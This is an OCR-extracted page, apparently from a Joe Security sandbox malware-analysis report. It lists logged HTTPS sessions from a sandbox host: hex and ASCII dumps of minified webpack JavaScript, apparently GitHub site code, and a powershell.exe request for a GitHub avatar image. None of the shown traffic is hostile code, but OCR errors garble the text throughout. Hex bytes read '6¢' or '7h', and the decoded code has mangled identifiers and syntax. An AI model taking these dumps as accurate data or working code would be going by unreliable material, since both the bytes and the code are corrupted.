757261 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6C
6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6€ 6b 7C 7C 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 36 32 35 5d 2
€ 7b 33 31 36 35 30 3a 28 49 2c 72 2¢ 6¢ 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 6c 28
3236 3336 3029 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2¢
61 2e 4c 4e 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4¢c 69 73

Data Ascii: (()=>{var ee=Object.defineProperty;var e=(l,r)=>ee(l,"name" ,{value:r,configurable:!0});(globalThis.webpackCh
unk=globalThis.webpackChunk||[]).push([[1625],{31650:(l,r,l)=>{"use strict";var a=1(26360);window.addEventListener("erro
r",a.LN),window.addEventLis

Data Raw: 6d 65 3d 61 6e 61 6¢ 79 74 69 63 73 2d 6¢ 6f 63 61 74 69 6f 6e 2d 71 75 65 72 79 2d 73 74 72 69 70 5d 22 29
3b 6¢ 65 74 20 6f 3d 22 22 3b 64 7c 7c 28 6f 3d 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b
63 6f 6e 73 74 20 70 3d 61 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 61 6e 61 6¢ 79 74 69 63 73 2d 6¢ 6f 63 61 74 69 6f 6
2d 7061 72 61 6d 73 5d 22 29 3b 70 26 26 28 6f 2b 3d 28 6f 3f 22 26 22 3a 22 3f 22 29 2b 70 2e 63 6f 6e 74 65 6e 74 29
3b 66 6f 72 28 63 6f 6e 73 74 20 76 20 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢
6c 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 61 6e 61 6¢ 79 74 69 63 73 2d 70 61 72 61 6d 2d 72 65 6e 61 6d 65 5d 22 29 29
7b 63 6f 6e 73 74 20 5f 3d 76 2e 63 6f 6e 74 65 6e 74 2e 73 70

Data Ascii: me=analytics-location-query-strip]"“);let o="";d||(o=window.location.search);const p=a(“meta[name=analytics-|
ocation-params]");p&&(o+=(0?"&":"?")+p.content);for(const v of document.querySelectorAll(“meta[name=analytics-param-
rename]”)){const _=v.content.sp

Data Raw: 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 2c 72 65 66 65 72 72 65 72 3a 28 30 2c 61 2e 77 50 29 28 29 2c
74 69 6d 65 53 69 6e 63 65 4c 6f 61 64 3a 4d 61 74 68 2e 72 6f 75 6e 64 28 44 61 74 65 2e 6e 6f 77 28 29 2d 5f 29 2¢ 75
73 6572 3a 66 28 29 7c 7c 76 6f 69 64 20 30 2c 62 75 6e 64 6¢ 65 72 3a 41 28 29 7d 2¢ 79 29 7d 65 28 6d 2c 22 65 72
72 6f 72 43 6f 6e 74 65 78 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 73 29 7b 72 65 74 75 72 6e 28 30 2c 64 2e 51 2
928 732e 737461 636b7c7c 222229 2e 6d 61 70 28 79 3d 3e 28 7b 66 69 6¢ 65 6e 61 6d 65 3a 79 2e 66 69 6¢ 65
7c 7c 22 22 2¢ 66 75 6e 63 74 69 6f 6e 3a 53 74 72 69 6e 67 28 79 2e 6d 65 74 68 6f 64 4e 61 6d 65 29 2c 6¢ 69 6e 65
6e 6f 3a 28 79 2e 6¢ 69 6e 65 4e 75 6d 62 65 72 7c 7c 30 29 2e 74 6f 53

Data Ascii: ent.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-_),user:f()||void 0,bundler:A()},y)}e
(m,"errorContext");function n(s){return(0,d.Q)(s.stack||"").map(y=>({filename:y file||"" function:String(y.methodName),|
ineno:(y.lineNumber||0).toS

Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 5¢ 2e 24 2f 2c 22 22 29 2e 73 70 6¢ 69 74 28 22 2e 22 29 2e 73 6¢ 69 63 65 28
2d 32 29 2e 6a 6f 69 6e 28 22 2e 22 29 3b 72 65 74 75 72 6e 20 6f 21 3d 3d 70 7d 65 28 61 2c 22 64 65 74 65 63 74 50
72 6f 78 79 53 69 74 65 22 29 7d 2c 36 30 37 38 35 3a 28 49 2¢ 72 2c 6¢ 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74
22 3b 6¢ 2e 64 28 72 2c 7b 5a 3a 28 29 3d 3e 68 7d 29 3b 63 6¢ 61 73 73 20 61 7b 67 65 74 49 74 65 6d 28 29 7h 72 65
7475 72 6e 20 6e 75 6¢ 6¢ 7d 73 65 74 49 74 65 6d 28 29 7b 7d 72 65 6d 6f 76 65 49 74 65 6d 28 29 7b 7d 63 6¢ 65 61
722829 7b 7d 6b 65 79 28 29 7h 72 65 74 75 72 6e 20 6e 75 6¢ 6¢ 7d 67 65 74 20 6¢ 65 6e 67 74 68 28 29 7b 72 65 74
75 72 6e 20 30 7d 7d 65 28 61 2c 22 4e 6f 4f 70 53 74 6f 72 61 67 65 22

Data Ascii: .replace(/\.$/,").split(".").slice(-2).join(".");return o!==p}e(a,"detectProxySite")},60785:(l,r,))=>{"use strict";l.d(r,{Z:
()=>h});class a{getltem(){return null}setitem(){}removeltem(){}clear(){}key(){return null}get length(){return O}}e(a,"NoOpS
torage"

Data Raw: 74 53 6f 66 74 4e 61 76 22 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 29 7b 28 30 2c 61 2e 4c 53 29 28 6f 2¢c 22
3022 29 7d 65 28 54 2c 22 65 6e 64 53 6f 66 74 4e 61 76 22 29 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 29 7b 28 30 2c 61

2e 4c¢ 53 29 28 6f 2¢ 22 30 22 29 2¢ 28 30 2¢ 61 2e 63 6¢ 29 28 64 29 2c 28 30 2c 61 2e 63 6¢ 29 28 67 29 7d 65 28 4f 2¢
22 63 6¢ 65 61 72 53 6f 66 74 4e 61 76 22 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 78 29 7b 28 30 2¢ 61 2e 4c 53 29 28
67 2c 78 7c 7c 70 29 7d 65 28 77 2c 22 73 65 74 53 6f 66 74 4e 61 76 46 61 69 6¢ 52 65 61 73 6f 6e 22 29 3b 66 75 6e 6
374 69 6f 6e 20 50 28 29 7b 72 65 74 75 72 6e 28 30 2c 61 2e 72 56 29 28 67 29 7d 65 28 50 2¢ 22 67 65 74 53 6f 66 74
4e 61 76 46 61 69 6¢ 52 65 61 73 6f 6e 22 29 3b 6¢ 65 74 20 6d 3d

Data Ascii: tSoftNav");function T(){(0,a.LS)(0,"0")}e(T,"endSoftNav");function O(){(0,a.LS)(0,"0"),(0,a.cl)(d),(0,a.cl)(
g)}e(O,"clearSoftNav");function w(x){(0,a.LS)(g,x||p)}e(w, "setSoftNavFailReason");function P(){return(0,a.rv)(g)}e(P,"ge
tSoftNavFailReason");let m=
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Data

Data Raw: 65 68 61 76 69 6f 72 3d 3d 3d 76 6f 69 64 20 30 7c 7c 74 2e 62 65 68 61 76 69 6f 72 3d 3d 3d 22 61 75 74 6f
22 7c 7c 74 2e 62 65 68 61 76 69 6f 72 3d 3d 3d 22 69 6e 73 74 61 6e 74 22 29 72 65 74 75 72 6e 21 30 3b 69 66 28 74
79 70 65 6f 66 20 74 3d 3d 22 6f 62 6a 65 63 74 22 26 26 74 2e 62 65 68 61 76 69 6f 72 3d 3d 3d 22 73 6d 6f 6f 74 68 22
29726574 75 72 6e 21 31 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 62 65 68 61 76 69 6f 72
20 6d 65 6d 62 65 72 20 6f 66 20 53 63 72 6f 6¢ 6¢ 4f 70 74 69 6f 6e 73 20 22 2b 74 2e 62 65 68 61 76 69 6f 72 2b 22 20
69 73 20 6e 6f 74 20 61 20 76 61 6¢ 69 64 20 76 61 6¢C 75 65 20 66 6f 72 20 65 6€ 75 6d 65 72 61 74 69 6f 6€ 20 53 63 72
6f 6¢ 6¢ 42 65 68 61 76 69 6f 72 2e 22 29 7d 65 28 53 2¢ 22 73

Data Ascii: ehavior===void 0||t.behavior==="auto"||t.behavior==="instant")return!0;if(typeof t=="object"&&t.behavior==="
smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+t.behavior+" is not a valid value for enumerati
on ScrollBehavior.")}e(S,"s

Data Raw: 75 6d 65 6e 74 73 5b 30 5d 3a 72 2e 73 63 72 6f 6¢ 6¢ 58 7c 7c 72 2e 70 61 67 65 58 4f 66 66 73 65 74 2¢ 61
7267 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f
703a 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 72 2e
736372 6f 6¢ 6¢ 59 7c 7¢c 72 2e 70 61 67 65 59 4f 66 66 73 65 74 29 3b 72 65 74 75 72 6e 7d 6e 2e 63 61 6¢ 6¢ 28 72
2c 6¢ 2e 62 6f 64 79 2¢ 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6¢ 65 66 74 21 3d 3d 76 6f 69 64 20 30 3f 7e 7e 61 72 67
75 6d 65 6e 74 73 5b 30 5d 2e 6¢ 65 66 74 3a 72 2e 73 63 72 6f 6¢ 6¢ 58 7c 7c 72 2e 70 61 67 65 58 4f 66 66 73 65 74 2¢
61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 21 3d 3d 76 6f

Data Ascii: uments[0]:r.scrollX||r.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?
arguments[1]:r.scrollY||r.pageY Offset);return}n.call(r,l.body,arguments[0].left!==void 0?~~arguments[0].left:r.scrollX
|Ir.pageXOffset,arguments[0].top!==vo

Data Raw: 63 61 6¢ 6¢ 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6c 65 66 74 21 3d 3d 76 6f 69 64 20 30
3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 6¢ 65 66 74 2b 74 68 69 73 2e 73 63 72 6f 6¢ 6¢ 4C 65 66 74 3a 7e 7e
61 72 67 75 6d 65 6e 74 73 5b 30 5d 2b 74 68 69 73 2e 73 63 72 6f 6¢ 6¢ 4c 65 66 74 2c 61 72 67 75 6d 65 6e 74 73 5b
30 5d 2e 74 6f 70 21 3d 3d 76 6f 69 64 20 30 3f 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 74 6f 70 2b 74 68 69 73 2e
73 63 72 6f 6¢ 6¢ 54 6f 70 3a 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2b 74 68 69 73 2e 73 63 72 6f 6¢ 6¢ 54 6f 70 29
3b 72 65 74 75 72 6e 7d 74 68 69 73 2e 73 63 72 6f 6¢ 6¢ 28 7b 6¢ 65 66 74 3a 7e 7e 61 72 67 75 6d 65 6e 74 73 5b 30 5
d 2e 6¢ 65 66 74 2b 74 68 69 73 2e 73 63 72 6f 6¢ 6C 4C 65 66 74

Data Ascii: call(this,arguments[0].left'==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,argu
ments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~argume
nts[0].left+this.scrollLeft

Data Raw: 3a 6e 5b 32 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 6e 5b 31 5d 7c 7c 61 2c 61 72 67 75 6d 65 6e 74 73 3a 74
3f 5b 6e 5b 32 5d 5d 3a 5b 5d 2c 6¢ 69 6e 65 4e 75 6d 62 65 72 3a 6e 5b 33 5d 3f 2b 6e 5b 33 5d 3a 6e 75 6¢ 6¢ 2¢ 63 6f
6¢ 75 6d 6e 3a 6e 5b 34 5d 3f 2b 6e 5b 34 5d 3a 6e 75 6¢ 6¢ 7d 7d 65 28 64 2¢ 22 70 61 72 73 65 43 68 72 6f 6d 65 22
29 3b 76 61 72 20 6f 3d 2f 5e 5¢ 73 2a 61 74 20 28 3f 3a 28 28 3f 3a 5¢ 5b 6f 62 6a 65 63 74 20 6f 62 6a 65 63 74 5c 5d
29 3f 2e 2b 29 20 29 3f 5¢ 28 3f 28 28 3f 3a 66 69 6¢ 65 7c 6d 73 2d 61 70 70 78 7c 68 74 74 70 73 3f 7c 77 65 62 70 61
63 6b 7c 62 6¢ 6f 62 29 3a 2e 2a 3f 29 3a 28 5¢ 64 2b 29 28 3f 3a 3a 28 5¢c 64 2b 29 29 3f 5¢ 29 3f 5¢ 73 2a 24 2f 69 3b
66 75 6e 63 74 69 6f 6e 20 70 28 6d 29 7b 76 61 72 20 6e 3d

Data Ascii: :n[2],methodName:n[1]||a,arguments:t?[n[2]]:[],lineNumber:n[3]?+n[3]:null,column:n[4] ?+n[4]:null}}e(d,"parse
Chrome");var o=/"\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https ?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?
\s*$/i;function p(m){var n=

Data Raw: 20 61 28 75 29 7b 63 6f 6e 73 74 20 62 3d 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6¢ 6¢ 65 72 3b 72 65
747572 6e 20 62 2e 61 62 6f 72 74 28 75 29 2c 62 2e 73 69 67 6e 61 6¢ 7d 65 28 61 2c 22 61 62 6f 72 74 73 69 67 6e
61 6¢ 5f 61 62 6f 72 74 5f 61 62 6f 72 74 53 69 67 6e 61 6¢ 41 62 6f 72 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29
7b 72 65 74 75 72 6e 22 61 62 6f 72 74 22 69 6e 20 41 62 6f 72 74 53 69 67 6e 61 6¢ 26 26 74 79 70 65 6f 66 20 41 62 6f
727453 69 67 6e 61 6¢ 2e 61 62 6f 72 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 65 28 68 2¢ 22 69 73 53 75 70 70 6f 72
74 6564 22 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7h 72 65 74 75 72 6e 20 41 62 6f 72 74 53 69 67 6e 61 6¢ 2e 61
62 6f 72 74 3d 3d 3d 61 7d 65 28 63 2¢ 22 69 73 50 6f 6¢ 79 66

Data Ascii: a(u){const b=new AbortController;return b.abort(u),b.signal}e(a,"abortsignal_abort_abortSignalAbort");function
h(){return“abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(h,"isSupported");function c(){return AbortSi
gnal.abort===a}e(c,"isPolyf

Data Raw: 3c 30 26 26 28 75 2b 3d 62 29 2c¢ 75 3c 30 7c 7c 75 3e 3d 62 3f 76 6f 69 64 20 30 3a 74 68 69 73 5b 75 5d 7d
6528 50 2¢ 22 61 72 72 61 79 4c 69 6b 65 41 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 72 65 74 75 72 6e 22
61 74 22 69 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 74 79 70 65 6f 66 20 41 72 72 61 79 2e 70 72 6f 74
6f 74 79 70 65 2e 61 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 22 61 74 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f
74 6f 74 79 70 65 26 26 74 79 70 65 6f 66 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 3d 3d 22 66 75 6e
63 74 69 6f 6e 22 26 26 22 61 74 22 69 6e 20 77 26 26 74 79 70 65 6f 66 20 77 2e 61 74 3d 3d 22 66 75 6e 63 74 69 6f 6
€22 7d 6528 6d 2c 22 61 72 72 61 79 6¢ 69 6b 65 5f 61 74 5f 69

Data Ascii: <0&&(u+=b),u<0||u>=b?void 0:this[u]}e(P,"arrayLikeAt");function m(){return“at"in Array.prototype&&typeof Arr
ay.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in w&&typeof w.at=="fu
nction"}e(m,"arraylike_at_i

Data Raw: 62 2c¢ 45 29 7d 65 28 73 2c 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 57 69 74 68 41 62 6f 72 74 53
69 67 6e 61 6¢ 22 29 3b 66 75 6e 63 74 69 6f 6e 20 79 28 29 7b 6¢ 65 74 20 75 3d 21 31 3b 63 6f 6e 73 74 20 62 3d 65
282829 3d 3e 75 3d 21 30 2c 22 73 65 74 53 69 67 6e 61 6¢ 53 75 70 70 6f 72 74 65 64 22 29 3b 66 75 6€ 63 74 69 6f
6e 20 45 28 29 7b 7d 65 28 45 2c 22 6e 6f 6f 70 22 29 3b 63 6f 6e 73 74 20 43 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65
28 7b 7d 2c 7b 73 69 67 6e 61 6¢ 3a 7b 67 65 74 3a 62 7d 7d 29 3b 74 72 79 7b 63 6f 6e 73 74 20 52 3d 6e 65 77 20 45 7
665 6e 74 54 61 72 67 65 74 3b 72 65 74 75 72 6e 20 52 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74
65 73 74 22 2c 45 2c 43 29 2c 52 2e 72 65 6d 6f 76 65 45 76 65 6e 74

Data Ascii: b,E)}e(s,"addEventListenerWithAbortSignal“);function y(){let u=!1;const b=e(()=>u=!0,"setSignalSupported");f
unction E(){}e(E,"noop");const C=Object.create({},{signal:{get:b}});try{const R=new EventTarget;return R.addEventListene
r("test",E,C),R.removeEvent

Data Raw: 22 26 26 21 79 28 29 26 26 28 45 76 65 6e 74 54 61 72 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45
76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 73 29 7d 65 28 6a 2c 22 65 76 65 6e 74 5f 61 62 6f 72 74 73 69 67 6e 61 6¢ 5f 61
7070 6¢ 79 22 29 3b 63 6f 6e 73 74 20 58 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72
6f 70 65 72 74 79 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 75 2c 62 29 7b 69 66 28 75 3d 3d 6e 75 6¢ 6¢ 29 74 68 72 6f 77 20
6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 6f 6e 76 65 72 74 20 75 6e 64 65 66 69 6€e 65 64
20 6f 72 20 6e 75 6¢ 6¢ 20 74 6f 20 6f 62 6a 65 63 74 22 29 3b 72 65 74 75 72 6e 20 58 2e 63 61 6¢ 6¢ 28 4f 62 6a 65 63
74 2875 29 2¢ 62 29 7d 65 28 4d 2c 22 6f 62 6a 65 63 74 5f

Data Ascii: "&&!y()&&(EventTarget.prototype.addEventListener=s)}e(j,"event_abortsignal_apply");const X=Object.
prototype.hasOwnProperty;function M(u,b)if(u==null)throw new TypeError("Cannot convert undefined or null to object");re
turn X.call(Object(u),b)}e(M,"object_

Page 117 of 342



kBytes

Timestam
P transferred

2022-04-20 13:07:36 UTC 1097

2022-04-20 13:07:36 UTC 1098

Session ID Source IP
16 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:36 UTC 1064

2022-04-20 13:07:36 UTC 1073

2022-04-20 13:07:36 UTC 1074

2022-04-20 13:07:36 UTC 1075

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49769

Direction

ouT

Data

Data Raw: 75 65 73 74 69 64 6¢ 65 63 61 6¢ 6¢ 62 61 63 6b 5f 72 65 71 75 65 73 74 49 64 6¢ 65 43 61 6¢C 6C 62 61 63 6b
2229 3b 66 75 6e 63 74 69 6f 6e 20 46 28 75 29 7b 63 6¢ 65 61 72 54 69 6d 65 6f 75 74 28 75 29 7d 65 28 46 2c 22 63
61 6e 63 65 6¢ 49 64 6¢ 65 43 61 6¢ 6C 62 61 63 6b 22 29 3b 66 75 6€ 63 74 69 6f 62 20 57 28 29 7b 72 65 74 75 72 6e
20 74 79 70 65 6f 66 20 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 72 65 71 75 65 73 74 49 64 6¢ 65 43 61 6¢C 6C 62 61 63 6b 3d 3
d 22 66 75 6e 63 74 69 6f 6e 22 7d 65 28 57 2¢ 22 72 65 71 75 65 73 74 69 64 6¢ 65 63 61 6¢ 6C 62 61 63 6b 5f 69 73 53
75 70 70 6f 72 74 65 64 22 29 3b 66 75 6e 63 74 69 6f 6e 20 72 65 28 29 7b 72 65 74 75 72 6e 20 67 6¢ 6f 62 61 6¢ 54
68 69 73 2e 72 65 71 75 65 73 74 49 64 6¢ 65 43 61 6¢ 6C 62 61 63 6b

Data Ascii: uestidlecallback_requestldleCallback");function F(u){clearTimeout(u)}e(F,"cancelldleCallback");function W(){
return typeof globalThis.requestldleCallback=="function"}e(W,"requestidlecallback_isSupported");function re()}{return glo
balThis.requestldleCallback

Data Raw: 74 2e 69 73 50 6f 6¢ 79 66 69 6¢ 6¢ 65 64 28 29 26 26 61 67 67 72 65 67 61 74 65 45 72 72 6f 72 2e 69 73 50
6f 6¢c 79 66 69 6¢ 6C 65 64 28 29 26 26 61 72 72 61 79 41 74 2e 69 73 50 6f 6¢ 79 66 69 6¢ 6C 65 64 28 29 26 26 63 72
79 70 74 6f 52 61 6e 64 6f 6d 55 55 49 44 2e 69 73 50 6f 6¢ 79 66 69 6C 6C 65 64 28 29 26 26 65 76 65 6e 74 41 62 6f 72
74 53 69 67 6e 61 6¢ 2e 69 73 50 6f 6¢ 79 66 69 6C 6¢C 65 64 28 29 26 26 6 62 6a 65 63 74 48 61 73 4f 77 6e 2e 69 73 50
6f 6¢ 79 66 69 6¢ 6C 65 64 28 29 26 26 70 72 6f 6d 69 73 65 41 6e 79 2e 69 73 50 6f 6¢ 79 66 69 6C 6¢C 65 64 28 29 26 26
72657175 65 73 74 49 64 6¢ 65 43 61 6¢ 6C 62 61 63 6b 2€ 69 73 50 6f 6C 79 66 69 6C 6C 65 64 28 29 7d 65 28 6f 65 2C
22 6¢ 69 62 5f 69 73 50 6f 6¢ 79 66 69 6C 6C 65 64 22 29 3b

Data Ascii: t.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&ev
entAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestldleCallback.isPolyfilled(
)}e(oe,"lib_isPolyfilled");

Destination
Destination IP Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /pmarsceill?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 5802

Cache-Control: max-age=300

Content-Security-Policy: default-src ‘none’

Content-Type: image/png

ETag: "beal3afb4d919a230d344afcbca355419546921f588a56cafd84aba6ec265132"
Last-Modified: Fri, 23 Mar 2018 17:00:01 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-1d: 451A:9B78:46C06:510D7:625E2F6E
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6943-MXP

X-Cache: HIT

X-Cache-Hits: 8

X-Timer: $1650460057.982502,VS0,VEO
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 971de1952549cd041b777b97c81485934b5dea03
Expires: Wed, 20 Apr 2022 13:12:36 GMT

Source-Age: 120362

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 02 00 00 00 25 Ob e6 89 00 00
16 71 49 44 41 54 78 9c a4 5a c9 6f 5¢ 59 d5 af 7a f3 5¢ a3 cb 53 1c cf 9d d8 09 21 24 28 a8 13 d4 91 3a 8d 44 5a 08 bl
04 c4 92 16 12 7f 01 82 1d Ob a4 5e f5 82 2d 3b 24 5a 6a a9 17 88 16 2c 10 8a 40 ea 56 2b ee ee 24 8a 13 0f f1 10 bb 9¢
2a d7 fc 5e bd 79 fe 64 ff c2 fd de 57 4e fa 93 e0 2e 2c fb b9 ea be 7b ce 3d e7 77 7e e7 77 2f 93 a6 69 ee bf 18 71 1c 1b
86 61 59 16 4d d3 f9 7c 3e 49 92 87 Of 1f 6e 6¢ 6¢ fc eb 5f ff 9a 9e 9e 36 Oc 63 62 62 62 73 73 33 8a a2 bb 77 ef 7e ff fb
df 1f 1b 1b cb e5 72 €9 bf 07 7e 27 b3 91 e7 49 92 90 7f el cf 34 4d e3 38 c6 73 9a a6 29 8a 12 45 91 65 d9 fc 7f 69 40
92 24 c3 el d0 34 4d 86 61 72 b9 dc bd 7b 7 fe f6 b7

Data Ascii: PNGIHDR@@%qIDATXZ0\YZ\S!$(:DZ"-;$Zj, @V+$**ydWN. {=w~w/igaYM|>Inll_6cbbbss3w~r~'14M8s)Eei
@%$4Mar{

Data Raw: ff 77 30 67 c1 87 Oc 12 67 d9 e7 69 9a ee ee ee f2 3c 6f 18 86 ef fb 53 53 53 33 33 33 d3 d3 d3 ¢8 42 d8 00 a0
00 3f c¢5 9f 84 42 a6 69 ca b2 2c 00 9e a6 €9 30 Oc €3 38 86 47 93 24 a9 56 ab b3 b3 b3 8f 1f 3f 7e fb ed b7 8f 8f 8f 8f 8e
8e d2 34 55 14 45 96 e5 f1 f1 f1 52 a9 04 bf 00 4f f1 46 86 2c Oe cb cd 02 e8 2b 4b 44 14 45 8d 46 83 65 59 c7 71 64 59
a6 28 6a 69 69 09 75 10 b3 e3 8b 48 4d 04 12 el c0 51 14 f1 3c 9f a6 69 10 04 34 4d c7 71 4c d3 b4 20 08 9e e7 c1 00 d7
75 67 67 67 ff 9 cf 7f 3e 79 f2 e4 b3 cf 3e 3b 3¢ 3c 2¢ 14 0a 34 4d af ac ac 4c 4e 4e 92 70 20 75 ed 64 df 08 bc 64 69 2d
06 42 2b bb 15 40 e8 30 Oc 2d cb 42 c1 62 59 16 71 02 24 21 df c5 bf 24 49 8a a2 08 ac 2e 4d 53 7c 12 01 9d dd 0Oa 30 e2
38 8e 6d db 9e 9a 9a aa d5 6a 7b 7b 7b fb fb fb

Data Ascii: wOggi<oSSS333B?Bi,08G$V?~4UEROF,+KDEFeYqdY (jiuHMQ<i4MgL uggg>y>;<<,AMLNNp uddi-B+@0-
BbYq$!$I.MS|08m{{{
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kBytes

Timestam
P transferred

2022-04-20 13:07:36 UTC 1077

2022-04-20 13:07:36 UTC 1078

2022-04-20 13:07:36 UTC 1079

Session ID Source IP
17 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:37 UTC 1115

2022-04-20 13:07:37 UTC 1116

2022-04-20 13:07:37 UTC 1116

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49771

Direction

ouT

Data

Data Raw: 8a e8 52 14 05 2d 84 aa aa 82 20 5¢ b8 70 01 0d 31 e2 1e af c6 42 5d d7 05 28 17 0a 05 54 df 6e b7 db €9 74
44 51 2c 95 4a 4c 36 66 46 d8 db 88 3d 44 8f 00 cc af ac ac ac af af 83 11 50 14 a5 28 0a cb b2 b3 b3 b3 ¢5 62 d1 75 5d
d3 34 6f df be dd ef f7 db ed 36 45 51 10 14 0 14 e0 09 a8 f8 70 38 9c 99 99 51 55 d5 f7 7d 86 61 26 27 27 05 41 e0 38
ee f8 f8 18 85 92 c8 78 82 20 54 2a 15 44 63 18 86 20 82 bd 5e 6f b4 1f 78 65 12 93 94 c8 e7 f3 68 91 d6 d7 d7 41 68 4d
d3 44 eb 8d 5e 4c 10 04 55 55 5d d7 ed f7 fb 8e e3 d4 6a 35 24 74 a1 50 00 62 c2 60 96 65 a7 a7 a7 c3 30 34 4d 13 0d
la aa b2 a2 28 cO ae 66 b3 09 66 9a 25 29 b2 2c 6b 9a 86 5e 82 98 c1 e4 5e 35 ce 6a f6 c4 4e 49 92 40 1f ee de bd Ob
9a 05 08 02 de a7 69 8a 10 02 Ob 4a 92 44 14 45 59 96 c1 f5 11

Data Ascii: R- \p1B](TntDQ,JL6fF=DP(bu]406EQp8QU}a&"A8x T*Dc “oxehAhMD"LUU]j5%tPb’e04M(ff%),k 5]NI@iJIDEY

Data Raw: f1 82 20 cc ce ce fa be 5f 2e 97 db a7 43 d3 34 f0 Ob df f7 05 41 40 24 8 be 0f 29 9b dO e3 62 b1 88 ea 66 9a
a6 e7 796041 68 80 1c c7 cldd 1c 14 69 d0 24 e4 2e al 67 38 9d 40 d1 64 ca e5 72 f6 3a 03 09 24 7c 14 9b 80 7f 61 fb
b2 14 63 61 61 01 cd 54 18 86 13 13 13 ad 56 Ob 2a 3e 4a 18 fa 9e ac ec ae 28 ca e2 e2 22 7a 09 68 Oa 10 40 21 5e a0
